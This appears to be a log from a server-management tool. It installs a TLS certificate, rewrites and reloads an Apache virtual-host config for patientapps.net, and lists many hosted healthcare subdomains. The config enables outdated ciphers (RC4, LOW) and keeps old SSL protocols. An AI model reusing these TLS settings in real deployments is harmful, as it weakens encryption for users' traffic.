wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-17 06:01:13: 

chmod 755 /tmp/pkp465743; /tmp/pkp465743; rm /tmp/pkp465743

2026-02-17 06:01:13: 


dir=/etc/ssl/certs


2026-02-17 06:01:13: 

PUT: /tmp/pkp825449

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-17 06:01:13: 

chmod 755 /tmp/pkp825449; /tmp/pkp825449; rm /tmp/pkp825449

2026-02-17 06:01:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_net.conf 43
<VirtualHost *:80>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
<Files apple-app-site-association>
    Header set Content-type "application/json"
</Files>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>






2026-02-17 06:01:13: 

PUT: /tmp/pkp932378

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_www_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Files apple-app-site-association>
        Header set Content-type	"application/json"
    </Files>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_www_net.conf= 1'
fi


2026-02-17 06:01:13: 

chmod 755 /tmp/pkp932378; /tmp/pkp932378; rm /tmp/pkp932378

2026-02-17 06:01:13: 




2026-02-17 06:01:13: 

PUT: /tmp/pkp646856

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-17 06:01:13: 

chmod 755 /tmp/pkp646856; /tmp/pkp646856; rm /tmp/pkp646856

2026-02-17 06:01:13: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-17 06:01:13: Establishing a connection
2026-02-17 06:01:13: 

PUT: /tmp/pkp800463

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-17 06:01:14: 

chmod 755 /tmp/pkp800463; /tmp/pkp800463; rm /tmp/pkp800463

2026-02-17 06:01:14: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
